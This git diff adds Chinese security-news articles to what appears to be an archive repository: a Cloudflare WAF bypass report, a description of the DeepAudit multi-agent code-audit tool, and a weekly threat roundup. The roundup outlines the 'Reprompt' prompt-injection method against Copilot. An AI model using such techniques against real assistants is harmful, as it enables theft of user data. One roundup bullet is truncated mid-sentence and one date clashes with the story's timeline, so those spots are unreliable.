diff --git a/data.json b/data.json index ee254c4b..f906253e 100644 --- a/data.json +++ b/data.json @@ -16871,5 +16871,13 @@ "https://mp.weixin.qq.com/s/6jPm01eFstPD9PoKgPnXvw": "新型Kerberos中继攻击利用DNS CNAME记录绕过防护措施 - PoC已发布", "https://mp.weixin.qq.com/s/gkvY_aG8zNbA8m1yc_Eqcw": "DudeSuite 漏洞播报 全网漏洞早知道【20260120】", "https://mp.weixin.qq.com/s/qvfvhWt0gYesQ7G7fF-I2g": "【玄域】web∕app靶场-新增2个验证码缺陷&密码重置漏洞靶场", - "https://mp.weixin.qq.com/s/G0Qb0TnBHugPfBp5XjFeMQ": "灵脉IAST 5.4 升级，AI漏洞治理 X 业务逻辑漏洞检测重磅上线" + "https://mp.weixin.qq.com/s/G0Qb0TnBHugPfBp5XjFeMQ": "灵脉IAST 5.4 升级，AI漏洞治理 X 业务逻辑漏洞检测重磅上线", + "https://mp.weixin.qq.com/s/tPk20E0aI9aQeeWIdS1hHw": "流量之眼 - 智能被动漏洞扫描平台", + "https://mp.weixin.qq.com/s/n33dKB1d9Lh9OdyoO3Nwag": "WEB漏洞扫描器（新增企业版）Invicti-Professional-V26.10.0（自动化爬虫扫描漏洞）更新", + "https://mp.weixin.qq.com/s/cPMFl-eQdH4AnUvKjbCKSA": "东胜物流软件GetPrintInfo接口存在敏感信息泄露漏洞 附POC", + "https://mp.weixin.qq.com/s/oV5VMLh5jrnmhSMJgkWcig": "NETGEAR 路由器环境模拟与漏洞分析", + "https://mp.weixin.qq.com/s/B3Or_U8bsirv2ncZlyMe5A": "Fortinet漏洞、RedLine Clipjack、NTLM破解、Copilot攻击热门事件", + "https://mp.weixin.qq.com/s/qF1TAKWiTC11SS3kGaefkw": "工具推荐 | Swagger API漏洞自动化填充参数利用工具", + "https://mp.weixin.qq.com/s/iYyM2y6ucPgfs1PTs6Fpcw": "Cloudflare曝零日漏洞：攻击者可借证书验证路径绕过WAF访问任意源站", + "https://mp.weixin.qq.com/s/wXYL-QvkaZHnKKfDxUUOgQ": "DeepAudit——代码漏洞挖掘多智能体ai系统" } \ No newline at end of file diff --git a/doc/2026-01/Cloudflare曝零日漏洞：攻击者可借证书验证路径绕过WAF访问任意源站.md b/doc/2026-01/Cloudflare曝零日漏洞：攻击者可借证书验证路径绕过WAF访问任意源站.md new file mode 100644 index 00000000..d18c0d1b --- /dev/null +++ b/doc/2026-01/Cloudflare曝零日漏洞：攻击者可借证书验证路径绕过WAF访问任意源站.md @@ -0,0 +1,55 @@ +# Cloudflare曝零日漏洞：攻击者可借证书验证路径绕过WAF访问任意源站 +看雪学苑 + 看雪学苑 看雪学苑 2026-01-20 09:59 + +近日，Cloudflare的Web应用防火墙（WAF）曝出一处关键零日漏洞， +攻击者可通过证书验证路径绕过安全控制，直接访问受保护的源站服务器。该漏洞由安全研究团队FearsOff发现，目前已由Cloudflare紧急修复。 + + +研究发现， +当请求指向 `/.well-known/acme-challenge/` 目录时，即使客户配置的WAF规则明确阻止了所有其他流量，请求仍可抵达源站。 +这一路径普遍存在于现代网站中，用于自动化证书管理环境（ACME）协议执行SSL/TLS证书验证。其设计初衷仅限于证书颁发机构（CA）的验证机器人访问特定令牌文件，而非作为通往源站的开放通道。 + + +FearsOff团队在审查应用配置时注意到此异常。测试表明，针对ACME挑战路径的请求完全绕过了WAF规则，使得源站服务器直接响应请求，而非返回Cloudflare的拦截页面。为排除租户配置错误的可能性，研究人员专门搭建了多个演示主机进行验证，结果确认该漏洞具有普遍性。 + + +漏洞根源在于Cloudflare边缘网络处理ACME HTTP-01挑战路径的逻辑缺陷。当Cloudflare为其自身管理的证书订单提供挑战令牌时，系统会禁用WAF功能以防止干扰CA验证流程。然而，当请求的令牌与Cloudflare管理的证书订单不匹配时，请求竟会完全跳过WAF评估，直接转发至客户源站。这一逻辑错误使得原本狭窄的证书验证例外情况，演变为影响所有受Cloudflare保护主机的广泛安全绕过。 + + +利用此漏洞，攻击者可针对常见Web框架实施多种攻击。例如，在Spring/Tomcat应用上，通过路径遍历技术可访问敏感的执行器端点，泄露进程环境、数据库凭证、API令牌及云端密钥；Next.js服务端渲染应用可能暴露本不应公开的运营数据；存在本地文件包含漏洞的PHP应用则可能被恶意参数利用以访问文件系统。此外，基于自定义头部设置的账户级WAF规则对ACME路径流量完全失效。 + + +FearsOff于2025年10月9日通过Cloudflare的HackerOne漏洞赏金计划报告该漏洞。Cloudflare于10月13日启动验证，HackerOne于次日完成分类。10月27日，该公司部署永久修复方案，修改代码逻辑，确保仅当请求匹配特定主机名的有效ACME HTTP-01挑战令牌时才禁用安全功能。修复后测试证实，WAF规则现已对所有路径统一生效，包括先前存在漏洞的ACME挑战路径。Cloudflare表示无需客户采取额外措施，并确认目前未发现漏洞遭恶意利用的证据。 + + + +资讯来源 +： +securityonline.info + +转载请注明出处和本文链接 + + + +﹀ + +﹀ + +﹀ + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/Uia4617poZXP96fGaMPXib13V1bJ52yHq9ycD9Zv3WhiaRb2rKV6wghrNa4VyFR2wibBVNfZt3M5IuUiauQGHvxhQrA/640?wx_fmt=jpeg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/1UG7KPNHN8Fjcl6q2ORwibt8PXPU5bLibE1yC1VFg5b1Fw8RncvZh2CWWiazpL6gPXp0lXED2x1ODLVNicsagibuxRw/640?wx_fmt=gif&from=appmsg "") + +**球分享** + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/1UG7KPNHN8Fjcl6q2ORwibt8PXPU5bLibE1yC1VFg5b1Fw8RncvZh2CWWiazpL6gPXp0lXED2x1ODLVNicsagibuxRw/640?wx_fmt=gif&from=appmsg "") + +**球点赞** + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/1UG7KPNHN8Fjcl6q2ORwibt8PXPU5bLibE1yC1VFg5b1Fw8RncvZh2CWWiazpL6gPXp0lXED2x1ODLVNicsagibuxRw/640?wx_fmt=gif&from=appmsg "") + +**球在看** + diff --git a/doc/2026-01/DeepAudit——代码漏洞挖掘多智能体ai系统.md b/doc/2026-01/DeepAudit——代码漏洞挖掘多智能体ai系统.md new file mode 100644 index 00000000..d0f5d3b4 --- /dev/null +++ b/doc/2026-01/DeepAudit——代码漏洞挖掘多智能体ai系统.md @@ -0,0 +1,382 @@ +# DeepAudit——代码漏洞挖掘多智能体ai系统 +原创 一个人挺好 + 一个人挺好 一个人挺好 wa 2026-01-20 13:35 + +# 项目地址 + +https://github.com/lintsinghua/DeepAudit +# 项目概述 + +DeepAudit是一个基于 Multi-Agent 协作架构的下一代代码安全审计平台，旨在通过人工智能自动化漏洞挖掘流程。该项目是国内首个开源的代码漏洞挖掘多智能体系统，已成功发现 48 个 CVE 漏洞，覆盖 16 个知名开源项目。 + +![Agent审计入口](https://mmbiz.qpic.cn/mmbiz_png/AGUhPQZ04zxjcPMwAR6h5xiacWdZZzoo5QOuzxXNFYR3gbL5ibYiaOBgbOdkquggvA2ibVibWcCl3ia0ajiaA0aciaK8EA/640?wx_fmt=png&from=appmsg "") + +![审计流日志](https://mmbiz.qpic.cn/mmbiz_png/AGUhPQZ04zxjcPMwAR6h5xiacWdZZzoo5A6quib8VdYdQHNjGZwVDuEPl1xTUhiah4LibjWye3NAF3f8iaHFg0Vj6pg/640?wx_fmt=png&from=appmsg "") + +![仪表盘](https://mmbiz.qpic.cn/mmbiz_png/AGUhPQZ04zxjcPMwAR6h5xiacWdZZzoo5H0VH8riaSgfqQ0vTbgugDC1e4xdXMbrJ3xZxzgHyytKK419qVRgnVtw/640?wx_fmt=png&from=appmsg "") + +![即时分析](https://mmbiz.qpic.cn/mmbiz_png/AGUhPQZ04zxjcPMwAR6h5xiacWdZZzoo5jic5pOxp5gP26CA5DxwLcsVVFicT7tsujN4uGkEiatMfOKbd1d51chGjQ/640?wx_fmt=png&from=appmsg "") + +![项目管理](https://mmbiz.qpic.cn/mmbiz_png/AGUhPQZ04zxjcPMwAR6h5xiacWdZZzoo512CfIlloTJuI5tOhkmaP2CMa1Hdn84pQhiboIw8UwQ2xDGzRBVV4wzg/640?wx_fmt=png&from=appmsg "") + +项目核心理念是 +"让 AI 像黑客一样攻击，像专家一样防御"，通过模拟安全专家的思维方式，解决传统 SAST 工具的三大痛点： + +高误报率（缺乏语义理解） + +业务逻辑盲点（无法理解跨文件调用） + +缺乏验证手段（无法确认漏洞可利用性） +# 核心架构 +## 系统架构图 + +DeepAudit 采用 +微服务架构，核心由 Multi-Agent 引擎驱动，包含四个专用智能体： + +┌─────────────────────────────────────────────────────────────┐ + +│                     User Interface                          │ + +│                    (React + TypeScript)                     │ + +└─────────────────────────────────────────────────────────────┘ + +│ + +▼ + +┌─────────────────────────────────────────────────────────────┐ + +│                    FastAPI Backend                          │ + +│  ┌──────────┐  ┌──────────┐  ┌──────────┐  ┌──────────┐ │ + +│  │Orchestrat│  │  Recon   │  │ Analysis │  │Verification│ │ + +│  │  or Agent│◄─┤  Agent   │◄─┤  Agent   │◄─┤   Agent  │ │ + +│  │          │  │          │  │          │  │          │ │ + +│  └────┬─────┘  └────┬─────┘  └────┬─────┘  └────┬─────┘ │ + +│       │             │             │             │        │ + +│       └─────────────┴─────────────┴─────────────┘        │ + +│                     RAG + LLM Service                     │ + +│                      (ChromaDB)                           │ + +└─────────────────────────────────────────────────────────────┘ + +│ + +▼ + +┌─────────────────────────────────────────────────────────────┐ + +│               Docker Sandbox Environment                    │ + +│            (Automated PoC Testing & Validation)             │ + +└─────────────────────────────────────────────────────────────┘ +# Multi-Agent 工作流 +## 表格 +
步骤
阶段
负责 Agent
主要动作
1
策略规划
Orchestrator
分析项目类型，制定审计计划，分发任务
2
信息收集
Recon Agent
扫描项目结构，识别技术栈，提取攻击面
3
漏洞挖掘
Analysis Agent
结合 RAG 知识库与 AST 分析，深度审查代码
4
PoC 验证
Verification Agent
编写并执行 PoC 脚本，Docker 沙箱中验证
5
报告生成
Orchestrator
汇总结果，剔除误报，生成专业审计报告
# 技术栈 +## 后端技术栈 + +框架 +: Python FastAPI + Uvicorn + +Multi-Agent +: LangGraph + LangChain + +向量数据库 +: ChromaDB (RAG 知识库) + +AST 解析 +: Tree-sitter (支持 10+ 语言) + +任务队列 +: Celery + Redis + +数据库 +: PostgreSQL 15+ +## 前端技术栈 + +框架 +: React 18 + TypeScript + +构建工具 +: Vite + +样式 +: TailwindCSS + shadcn/ui + +状态管理 +: Zustand + +图表 +: Recharts +## 部署技术 + +容器化 +: Docker + Compose + +沙箱 +: 隔离 Docker 容器 + +镜像仓库 +: GitHub Container Registry (ghcr.io) +# 支持的漏洞类型 +## 表格 +
类型
描述
危害等级
sql_injection
SQL 注入
严重
xss
跨站脚本攻击
中等
command_injection
命令注入
严重
path_traversal
路径遍历
中等
ssrf
服务端请求伪造
严重
xxe
XML 外部实体注入
严重
insecure_deserialization
不安全反序列化
严重
hardcoded_secret
硬编码密钥
中等
weak_crypto
弱加密算法
中等
authentication_bypass
认证绕过
严重
authorization_bypass
授权绕过
严重
idor
不安全直接对象引用
中等
# LLM 平台支持 +## 国际平台 + +OpenAI +: GPT-4o / GPT-4 / GPT-3.5 + +Anthropic +: Claude 3.5 Sonnet / Opus + +Google +: Gemini Pro +## 国内平台 + +阿里 +: 通义千问 Qwen + +智谱 +: GLM-4 + +月之暗面 +: Kimi + +百度 +: 文心一言 + +字节 +: 豆包 +## 本地部署（支持 Ollama） + +Llama3 +(8B/70B) + +Qwen2.5 +(7B/14B/32B) + +DeepSeek-Coder +(6.7B/33B) + +CodeLlama +(7B/13B) + +API 中转支持: 支持自定义 API Base URL，解决网络访问限制 +# 部署方案 +## 方案一：生产环境一键部署（推荐） + +bash + +# 标准部署 + +curl-fsSLhttps://raw.githubusercontent.com/lintsinghua/DeepAudit/v3.0.0/docker-compose.prod.yml|dockercompose-f- up-d + +# 国内加速（南京大学镜像站） + +curl-fsSLhttps://raw.githubusercontent.com/lintsinghua/DeepAudit/v3.0.0/docker-compose.prod.cn.yml|dockercompose-f- up-d + +访问地址:http://localhost:3000 +## 方案二：源码开发部署 + +bash + +# 1. 克隆代码 + +gitclone https://github.com/lintsinghua/DeepAudit.git&&cdDeepAudit + +# 2. 配置环境变量 + +cpbackend/env.example backend/.env + +# 编辑 .env 文件，配置 LLM API Key + +# 3. 启动服务 + +dockercompose up-d +## 方案三：源码本地开发 + +环境要求: + +Python 3.11+ + +Node.js 20+ + +PostgreSQL 15+ + +Docker (用于沙箱) + +启动步骤: + +bash + +# 启动数据库 + +dockercompose up-dredis db adminer + +# 后端开发 + +cdbackend + +uvsync + +source.venv/bin/activate + +uvicorn app.main:app--reload + +# 前端开发 + +cdfrontend + +pnpminstall + +pnpmdev + +# 沙箱镜像 + +dockerpull ghcr.io/lintsinghua/deepaudit-sandbox:latest +# 核心功能矩阵 +## 表格 +
功能模块
技术实现
描述
Multi-Agent 审计
LangGraph 状态机
自主编排审计策略，Agent 间协作
RAG 知识增强
ChromaDB + Embeddings
代码语义理解，CWE/CVE 知识检索
沙箱 PoC 验证
Docker 隔离 + 动态执行
自动生成并执行攻击脚本
项目管理
Git/API/ZIP 导入
支持 GitHub/GitLab/Gitea
即时分析
代码片段快速扫描
粘贴代码秒级分析
五维检测
规则引擎 + AI
Bug/安全/性能/风格/可维护性
What-Why-How
LLM 解释生成
漏洞定位 + 原因分析 + 修复建议
报告导出
PDF/Markdown/JSON
一键生成专业审计报告
运行时配置
Web UI 动态配置
无需重启服务切换 LLM
# 配置说明 +## 环境变量配置 (backend/.env) + +bash + +# LLM API 配置 + +OPENAI_API_KEY=sk-xxx + +ANTHROPIC_API_KEY=sk-ant-xxx + +DEEPSEEK_API_KEY=sk-xxx + +# 数据库配置 + +DATABASE_URL=postgresql://user:pass@localhost:5432/deepaudit + +# 沙箱配置 + +SANDBOX_IMAGE=ghcr.io/lintsinghua/deepaudit-sandbox:latest + +SANDBOX_TIMEOUT=300 + +# RAG 配置 + +CHROMA_PERSIST_DIR=./chroma_db + +EMBEDDINGS_MODEL=text-embedding-3-small +## 前端配置 (frontend/.env) + +bash + +VITE_API_URL=http://localhost:3000 + +VITE_WS_URL=ws://localhost:3000 +# API 接口参考 +## 核心 REST API 端点 + +http + +# 项目管理 + +POST   /api/projects +# 创建项目 + +GET    /api/projects/{id} +# 获取项目详情 + +POST   /api/projects/{id}/scan +# 启动审计任务 + +# Agent 审计 + +POST   /api/agent/audit +# 启动 Multi-Agent 审计 + +GET    /api/agent/status/{task_id} +# 获取审计状态 + +GET    /api/agent/logs/{task_id} +# 获取审计日志 + +# 即时分析 + +POST   /api/analysis/code +# 代码片段分析 + +POST   /api/analysis/file +# 文件上传分析 + +# 报告 + +GET    /api/reports/{project_id} +# 获取审计报告 + +POST   /api/reports/export +# 导出报告 (PDF/MD/JSON) +## WebSocket 实时通信 + +JavaScript + +// 连接审计日志实时推送 + +constws=newWebSocket('ws://localhost:8000/ws/agent/{task_id}'); + +ws.onmessage=(event)=>{ + +constlog=JSON.parse(event.data); + +console.log(`[${log.agent}]${log.message}`); + +}; +# 沙箱安全机制 +## 隔离策略 + +Docker 容器隔离 +: 每个 PoC 在独立容器中运行 + +资源限制 +: CPU/Memory 配额限制 + +网络隔离 +: 沙箱内禁止外网访问（SSRF 测试除外） + +文件系统 +: 只读挂载，防止逃逸 +## 验证流程 + +Verification Agent 生成 PoC 脚本 + +沙箱动态构建目标应用环境 + +在隔离环境中执行攻击脚本 + +捕获响应/异常，验证漏洞存在性 + +失败时自动修正 PoC 并重试（最多 3 次） +# 性能指标 + +并发审计 +: 支持多项目并行扫描 + +响应时间 +: 代码片段分析 < 5 秒 + +Agent 循环 +: 平均 3-5 轮完成深度审计 + +PoC 成功率 +: > 85%（常见漏洞类型） + +误报率 +: < 15%（相比传统 SAST 降低 60%） + diff --git a/doc/2026-01/Fortinet漏洞、RedLine Clipjack、NTLM破解、Copilot攻击热门事件.md b/doc/2026-01/Fortinet漏洞、RedLine Clipjack、NTLM破解、Copilot攻击热门事件.md new file mode 100644 index 00000000..df0c88c9 --- /dev/null +++ b/doc/2026-01/Fortinet漏洞、RedLine Clipjack、NTLM破解、Copilot攻击热门事件.md @@ -0,0 +1,40 @@ +# Fortinet漏洞、RedLine Clipjack、NTLM破解、Copilot攻击热门事件 +原创 ZM + ZM 暗镜 2026-01-20 12:42 + +在网络安全领域，普通更新与严重事件之间的界限正变得越来越模糊。曾经可靠的系统如今也面临着持续变化的压力。新型人工智能工具、联网设备和自动化系统悄然创造了更多入侵途径，其速度往往远超安全团队的反应速度。本周的案例表明，一个小小的失误或一项隐藏的服务是如何轻易地演变成真正的入侵的。 + +透过新闻标题，我们可以看到一个清晰的模式：自动化系统正被用来对付构建它的人。攻击者不再构建新系统，而是重复利用现有系统。他们的行动速度远超大多数组织修复或响应的速度。从隐蔽的代码漏洞到运行时会发生变化的恶意软件，攻击不再追求速度，而是更加注重隐蔽性和控制力。 + +如果您正在保护任何联网设备——开发者工具、云系统或内部网络——本版将向您展示攻击的下一步发展方向，而不是攻击过去发生的方向。 +## ⚡上周威胁# + +**Fortinet 严重漏洞遭攻击**——Fortinet FortiSIEM 的一个严重安全漏洞已被攻击者利用。该漏洞编号为 CVE-2025-64155（CVSS 评分：9.4），允许未经身份验证的攻击者通过精心构造的 TCP 请求执行未经授权的代码或命令。Horizon3.ai 在一份技术分析报告中指出，该问题包含两个方面：一是未经身份验证的参数注入漏洞，可导致任意文件写入，从而允许以管理员身份远程执行代码；二是文件覆盖权限提升漏洞，可导致 root 权限获取并完全控制设备。该漏洞影响 phMonitor 服务，phMonitor 是 FortiSIEM 的一个内部组件，以提升的权限运行，在系统健康和监控中发挥着至关重要的作用。由于该服务深度嵌入在 FortiSIEM 的运行工作流程中，因此成功利用该漏洞将使攻击者完全控制设备。 +- **VoidLink Linux恶意软件实现长期访问**——一款名为VoidLink的新型云原生Linux恶意软件框架专注于云环境，为攻击者提供种类繁多的自定义加载器、植入程序、rootkit和插件，旨在增强隐蔽性，并用于侦察、权限提升以及在受感染网络内部横向移动。该功能丰富的框架专为长期访问、监视和数据收集而设计，而非短期破坏，它允许操作者通过一个针对中国用户本地化的基于Web的控制面板来控制代理、植入程序和插件。该恶意软件架构的关键在于“尽可能自动化规避”，通过分析Linux环境并智能地选择最佳策略来实现不被发现的运行。事实上，当在受感染的机器上检测到篡改或恶意软件分析的迹象时，它可以删除自身并调用旨在清除其活动痕迹的反取证模块。它配备了一套“异常广泛”的功能集，包括类似rootkit的功能、用于扩展功能的内存插件系统，以及根据检测到的安全产品调整运行时规避的能力。VoidLink的设计灵感来源于Cobalt Strike，这是一个多年来被攻击者广泛采用和滥用的对抗模拟框架。据信，VoidLink是由中国开发者开发的。Check Point表示：“这些插件共同构建在一个已经非常复杂的核心实现之上，将VoidLink的功能从云环境扩展到直接与云环境交互的开发者和管理员工作站，从而将任何受感染的机器变成一个灵活的跳板，用于更深入的访问或供应链入侵。它的设计体现了通常与专业威胁行为者而非机会主义攻击者相关的规划和投入水平。”然而，其预期用途仍然不明，也没有观察到任何实际感染的证据，这支持了这样一种假设：这款模块化恶意软件的创建“要么是作为一种产品提供，要么是作为为客户开发的框架”。 +- **微软联手美国和英国（首次）的法律合作伙伴，联合打击了RedVDS犯罪服务**——RedVDS是一个网络犯罪分子提供的订阅服务平台，该平台利用网络犯罪进行诈骗活动，造成数百万美元的损失。微软表示，他们已查封了RedVDS的网站和基础设施。RedVDS是一个提供网络犯罪即服务（CaaS）工具的平台，用于网络钓鱼和诈骗活动，用户每月只需支付24美元即可使用。据悉，自2025年3月以来，仅在美国，该订阅服务就已造成超过4000万美元的损失。微软已确认全球近19万家机构成为RedVDS支持的犯罪活动的受害者。该公司指出，在一个月内，约有2600台RedVDS虚拟机平均每天向微软客户发送100万条网络钓鱼信息。RedVDS为网络犯罪分子提供了廉价、高效且可随意丢弃的虚拟计算机，这些计算机运行着未经授权的软件，包括Windows系统，使犯罪分子能够实施网络钓鱼攻击和商业电子邮件入侵（BEC）计划。据称，该服务还参与了房地产支付转移诈骗的传播，影响了主要位于加拿大和澳大利亚的9000多名客户。RedVDS本身并不拥有实体数据中心，而是从美国、加拿大、英国、法国和荷兰的第三方托管服务商处租用服务器。微软表示：“一旦配置完成，这些克隆的Windows主机就为犯罪分子提供了一个现成的平台，让他们能够研究目标、搭建网络钓鱼基础设施、窃取凭证、劫持邮箱，并以最小的阻力实施基于身份冒用的金融诈骗。威胁行为者利用RedVDS不受限制的管理权限和几乎可以忽略不计的日志记录，在缺乏有效监管的情况下开展活动。RedVDS服务器的统一性和一次性使用特性，使得网络犯罪分子能够快速迭代攻击活动，大规模自动化投放，并迅速从最初的目标锁定过渡到金融盗窃。” +- **自2025年10月以来，Lumen Technologies旗下的Black Lotus Labs已封禁了超过550个**与Aisuru和Kimwolf服务器关联的命令与控制（C2）节点。这些僵尸网络因其在策划超大规模分布式拒绝服务（DDoS）攻击中的作用而备受关注。据称，Kimwolf主要针对未经授权的安卓电视盒，其发展迅猛，已将超过200万台设备纳入其僵尸网络。2025年8月，RapperBot的瓦解及其头目被捕，是Aisuru和Kimwolf崛起的重要因素。齐安信XLab和Synthient的最新研究揭示了该僵尸网络的运营者如何利用代理服务扩大其影响范围。 Infoblox 在另一份报告中指出，自 2025 年 10 月 1 日以来，其近 25% 的云客户曾向 Kimwolf 域名发起过查询。“关键在于，这些住宅代理服务器几乎无处不在，”Lumen Technologies 旗下 Black Lotus Labs 的高级首席信息安全工程师 Chris Formosa 告诉 The Hacker News，“几乎遍布所有你能想到的组织机构。鉴于我们知道攻击者一直在利用这一点，这主要反映出许多你可能认为很安全的网络，但实际上却存在运行住宅代理服务器的设备，这可能为攻击者提供初始立足点，绕过你可能部署的绝大多数安全设备。” +- **Reprompt攻击瞄准微软Copilot——**安全研究人员发现了一种名为Reprompt的新型攻击，该攻击允许攻击者在受害者点击指向人工智能（AI）聊天机器人的特制链接后，从微软Copilot中窃取用户数据。该攻击绕过了数据泄露保护机制，即使在Copilot会话关闭后，也能持续窃取会话数据。该攻击结合了参数2提示（P2P）注入（即利用“q”参数）、双重请求技术和链式请求技术，从而获取数据窃取原语。“客户端监控工具无法捕获这些恶意提示，因为真正的数据泄露发生在来回通信过程中动态发生，而不是来自用户提交的提示中的任何明显信息，”Varonis表示。该攻击不会影响使用Microsoft 365 Copilot的企业客户。微软已对此问题进行了修复。 +- **AWS CodeBuild 配置错误引发供应链风险**——亚马逊云服务 (AWS) CodeBuild 的一个关键配置错误可能导致攻击者完全控制该云服务提供商的 GitHub 代码库，包括其 AWS JavaScript SDK，从而使所有 AWS 环境面临风险。该漏洞代号为 CodeBreach，已于 2025 年 9 月由 AWS 修复。“攻击者利用 CodeBreach 漏洞，可以注入恶意代码，从而发起平台范围的攻击，不仅可能影响无数依赖于该 SDK 的应用程序，还可能影响 AWS 控制台本身，从而威胁到每个 AWS 账户，”Wiz 表示。 +## 热门 CVE# + +黑客行动迅速，他们能在数小时内利用新发现的漏洞。一次更新疏忽就可能导致重大安全漏洞。以下是本周最严重的几个安全漏洞。请检查这些漏洞，优先修复关键问题，确保自身安全。 + +本周的漏洞列表包括：CVE-2025-20393（Cisco AsyncOS 软件）、CVE-2026-23550（Modular DS 插件）、CVE-2026-0227（Palo Alto Networks PAN-OS）、CVE-2025-64155（Fortinet FortiSIEM）、CVE-2026-20805（Microsoft Windows 桌面窗口管理器）、CVE-2025-12420（ServiceNow）、CVE-2025-55131、CVE-2025-55131、CVE-2025-59466、CVE-2025-59465（Node.js）、CVE-2025-68493（Apache Struts 2）、CVE-2026-22610（Angular 模板编译器）。CVE-2025-66176、CVE-2025-66177（海康威视）、CVE-2026-0501、CVE-2026-0500、CVE-2026-0498、CVE-2026-0491（SAP）、CVE-2026-21859、CVE-2026-22689（Mailpit）、CVE-2026-22601、CVE-2026-22602、CVE-2026-22603、CVE-2026-22604（OpenProject）、CVE-2026-23478（Cal.com）、CVE-2025-14364（Demo Importer Plus 插件）、CVE-2025-14502（News and Blog Designer Bundle）CVE-2025-14301（Opvius AI for WooCommerce 集成插件）、CVE-2025-52493（PagerDuty Runbook）、CVE-2025-55315（ASP.NET Core Kestrel 服务器）、CVE-2026-20965（Microsoft Windows 管理中心）和CVE-2025-14894（Livewire 文件管理器）。 +- **Livewire 文件管理器存在未修复漏洞——Livewire**文件管理器（一款基于 Laravel 框架的网站文件管理器组件，支持文件上传）中披露了一个未修复的安全漏洞。该漏洞（CVE-2025-14894，CVSS 评分：7.5）可能允许攻击者将恶意 PHP 文件上传到远程服务器并触发其执行。CERT 协调中心 (CERT/CC) 表示：“当用户将 PHP 文件上传到应用程序时，可以通过访问可从 Web 访问的文件托管目录来访问和执行该文件。这使得攻击者能够创建恶意 PHP 文件，将其上传到应用程序，然后强制应用程序执行该文件，从而在主机设备上实现未经身份验证的任意代码执行。” +- **LayerX发现更多 GhostPoster 扩展程序**——该公司表示，他们发现了 17 个与GhostPoster相关的新扩展程序，这些扩展程序会影响 Google Chrome 和 Microsoft Edge 浏览器。这些新扩展程序旨在劫持联盟链接、注入跟踪代码并进行点击和广告欺诈，其总安装用户超过 84 万，其中一些扩展程序可以追溯到 2020 年。GhostPoster 于上个月首次被披露，它是名为DarkSpectre 的中国黑客组织发起的更大规模攻击活动的一部分。最新发现表明，GhostPoster 最初于 2020 年 2 月出现在 Microsoft Edge 浏览器上，随后扩展到 Firefox 和 Chrome 浏览器 + +- **RedLineCyber 散播剪贴板劫持恶意软件**——一个名为 RedLineCyber 的威胁行为者被发现利用臭名昭著的 RedLine 信息窃取程序的知名度，散播名为“Pro.exe”（或“peeek.exe”）的可执行文件。这是一款基于 Python 的剪贴板劫持木马，旨在通过持续监控 Windows 剪贴板中的加密货币钱包地址，并将其替换为受其控制的钱包地址，从而窃取加密货币。CloudSEK表示：“该威胁行为者利用 Discord 社区中与游戏、赌博和加密货币直播相关的信任关系。其传播方式是通过直接的社会工程，该行为者会与潜在受害者，特别是加密货币主播和网红，建立长期关系，然后将恶意载荷伪装成‘安全工具’或‘直播实用程序’进行植入。” +- **伪造货运单据传播 Remcos RAT** ——Fortinet 表示，一种新的网络钓鱼活动利用货运主题的诱饵，诱骗收件人打开恶意 Microsoft Word 文档。该文档会触发对 Microsoft Office 中一个存在多年的安全漏洞（CVE-2017-11882 ）的利用，从而传播一种直接在内存中执行的新型Remcos RAT。成功利用该漏洞会触发一个 Visual Basic 脚本的下载，该脚本执行 Base64 编码的 PowerShell 代码，以下载并启动一个 .NET DLL 加载器模块。该模块负责启动 RAT，并通过计划任务设置持久性。Remcos RAT（版本 7.0.4 Pro）是一种现成的恶意软件，具备全面的数据收集功能，包括系统管理、监控、网络、通信和代理控制。 AhnLab还发现，韩国用户成为 Remcos RAT 恶意软件的目标，该恶意软件伪装成 VeraCrypt 安装程序或与非法赌博网站相关的软件。 +- **谷歌发布彩虹表加速淘汰 Net-NTLMv1——**谷歌旗下威胁情报部门 Mandiant 发布了一份全面的Net-NTLMv1彩虹表数据集，旨在强调迫切需要淘汰这一过时的协议。尽管微软此前已宣布计划弃用NTLM 协议，转而使用 Kerberos 协议，但谷歌表示，他们仍在活跃环境中发现 Net-NTLMv1 的使用，这使得企业组织很容易遭受凭证窃取。“虽然利用此协议的工具已经存在多年，但它们通常需要将敏感数据上传到第三方服务，或者使用昂贵的硬件进行暴力破解，”谷歌表示。“此次发布该数据集，使得防御者和研究人员能够使用价格低于 600 美元的消费级硬件，在 12 小时内恢复密钥。” +- ****的报酬。被捕后，魏向联邦调查局（FBI）承认，他的行为构成间谍活动，并表示“我完蛋了”。 +- **澳大利亚警告国内企业注意人工智能安全风险——澳大利亚信号局 (ASD) 警告本地企业，在未进行适当匿名化处理的情况下，切勿将客户数据和文件上传至人工智能聊天机器人或 genAI 平台。ASD**表示： “一些人工智能提供商可能会使用客户提交的数据来训练或改进其模型。这取决于配置设置或订阅类型。因此，输入到这些平台的信息可能会在日后以意想不到的方式被重复使用或泄露。” ASD 还警告称，人工智能系统容易受到干扰，恶意网络攻击者可以通过“提示注入”来欺骗系统。“提示注入”指的是将恶意输入伪装成合法请求，旨在迷惑或误导人工智能，使其给出敏感、错误或不安全的答案。此外，ASD 还警告称，人工智能集成可能会带来潜在的供应链风险，并强调安全部署人工智能聊天机器人的必要性。 +- **约旦公民承认出售网络访问权限**——一名约旦公民在美国承认通过网络犯罪论坛出售至少50家公司网络访问权限的指控。现年40岁的费拉斯·哈利勒·艾哈迈德·阿尔巴什蒂（Feras Khalil Ahmad Albashiti，又名r1z、Feras Bashiti和Firas Bashiti）因涉嫌欺诈及与访问凭证相关的其他活动，面临最高10年监禁。阿尔巴什蒂于2024年7月被捕，将于2026年5月接受判决。美国联邦调查局（FBI）于2026年9月以卧底身份联系了被告，并表示之所以能够追踪到“r1z”网络犯罪论坛账户与阿尔巴什蒂的关联，是因为该账户于2018年注册，使用的Gmail邮箱地址与阿尔巴什蒂在2016年10月申请美国签证时使用的邮箱地址相同。据SentinelOne报道，“r1z”账户在地下论坛上销售一款名为EDR Killer的恶意软件投放器和绕过服务。该账户此前被确认为利用 Confluence 关键的未经身份验证的远程代码执行 (RCE) 漏洞（编号为 CVE-2022-26134）发布对 50 台存在漏洞的 Confluence 服务器的访问权限，并声称拥有超过 10,000 台存在漏洞的 Confluence 服务器的列表。其他工具包括非法版本的 Cobalt Strike、针对不同服务中本地权限提升 (LPE) 漏洞的私有漏洞利用程序、对 30 台 SonicWall VPN 服务器和 50 台 Microsoft Exchange 服务器的访问权限（已包含可用的漏洞利用程序），以及一项从 XSS 论坛上其他犯罪分子处获取被盗 VPN 和 RDP 登录凭据的服务。据称，R1z 自 2019 年以来一直活跃于 XSS 论坛。 